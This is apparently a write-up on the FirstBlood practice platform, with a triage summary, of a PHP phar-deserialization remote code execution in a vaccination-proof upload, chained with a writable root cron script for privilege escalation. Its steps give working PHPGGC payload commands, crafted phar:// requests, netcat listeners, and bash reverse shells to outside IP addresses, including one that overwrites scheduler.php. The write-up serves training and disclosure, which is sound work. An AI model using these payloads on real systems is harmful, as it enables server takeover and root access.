FirstBlood-#923 — Phar out - PHP deseriliazation RCE + priv. escalation
This issue was discovered on FirstBlood v2.0.0 (issues patched)
On 2021-10-30, vigilante reported:
Here we go, the infamous desearilazation everyone has talked about. Thank you for pushing me to learn about this vulnerability class, it was a lot of pain and fun in the end.
The "Upload Proof of Vaccination" feature is vulnerable to PHP deseriliazation. First we need to use "PHPGGC" to craft a payload that executes a reverse shell. Once we're on the server we notice a crontab file in the /app/docker folder that show us that the system is executing every minute a "php scheduler.php" command with the root privileges. Because our user fb-exec has privileges to modify the file, we can modify the scheduler.php file and wait for the cron job to run the command that will spawn another reverse shell with root privileges.
Steps to Reproduce:
- Upload a file and watch what the application is doing.
- Download phpggc and craft a payload. We're using a random picture of a cat.jpg which we will add our payload to and have an output file systemid.jpg.
➜ phpggc git:(master) ✗ ./phpggc -pj cat.jpg -o systemid.jpg Monolog/RCE2 system 'id'
- Upload the systemid.jpg picture here /vaccination-manager/pub/upload-vaccination-proof.php
- Notice that right after the upload is done, there is a GET request to /api/checkproof.php made by the server to verify the upload.
- Modify this request to use the phar protocol by adding "phar://" to the request.
GET /api/checkproof.php?proof=phar:///app/firstblood/upload/a6c938b6ade06b63859ee15f945d4f8bc88a2350.jpg HTTP/1.1 Host: 71db6da74f3c-vigilante.a.firstbloodhackers.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://71db6da74f3c-vigilante.a.firstbloodhackers.com/vaccination-manager/pub/submit-vaccination-proof.php Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close
- We will get a response from the server running the id command.
- To escalate this further create a reverse shell. First, we will start netcat on a VPS with a public IP address.
poba12:~:% nc -l -v -p 4444 Listening on 0.0.0.0 4444
- Craft a new payload with phpggc. When we upload this to the server, we'll create a connection to our netcat from the server.
./phpggc -pj cat.jpg -o systembash.jpg Monolog/RCE2 system "/bin/bash -c 'bash -i > /dev/tcp/188.8.131.52/4444 0>&'1;"
- Upload the systembash.jpg file to the server.
- Repeat step 5 after the last upload.
GET /api/checkproof.php?proof=phar:///app/firstblood/upload/fa7ae7e07ff83b84f73b8cbe947eff8092375ffd.jpg HTTP/1.1 Host: 71db6da74f3c-vigilante.a.firstbloodhackers.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://71db6da74f3c-vigilante.a.firstbloodhackers.com/vaccination-manager/pub/submit-vaccination-proof.php Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close
- Let's check our VPS server.
- Bingo! We can now browse the server and poke around.
- Run the id and whoami command. We will see that we're logged in as fb-exec user.
- We want to escalate our privileges! When browsing the /app folder on through the reverse shell, we will notice that there's an interesting file in the docker folder.
cd /app/docker cat crontab * * * * * root cd /app/firstblood && php scheduler.php >> /dev/null 2>&1
This indicated there's a cron job running every minute, executing a php scheduler.php command as root.
- Let's abuse this by creating another reverse connection to a second port on our server.
poba12:~:% nc -l -v -p 1234 Listening on 0.0.0.0 1234
- Go into the /app/firstblood/ directory and inspect the scheduler.php file.
Someone left us a message in the scheduler.php file.
/ Tell Raymond on the server team to turn off the crontab until we need it -Patrice /
We can also see that we have right to modify the file with the current user.
- Let's look for a php reverse shell that we can upload. This seems to be the right choice https://gist.github.com/rshipp/eee36684db07d234c1cc
- This step I struggled with for at least 45 minutes because I wasn't escaping double quotes correctly. We want to echo a command and overwrite the scheduler.php file with our own payload.
echo "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/184.108.40.206/1234 0>&1'\");" > scheduler.php
- Open the tab with our second netcat connection listening on the port 1234, we will notice a second connection within 1 minute and we will be logged in as root!
- VICTORY!!! I loved this bug class, thank you for making me watch 3+ hours of youtube videos on deserialization.
Game over, the server is mine.
P1 CRITICALThis bug makes use of the following vulnerabilities in a chain:
FirstBlood ID: 34
Vulnerability Type: Deserialization
This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.
FirstBlood ID: 35
Vulnerability Type: RCE
A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.
FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure
It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.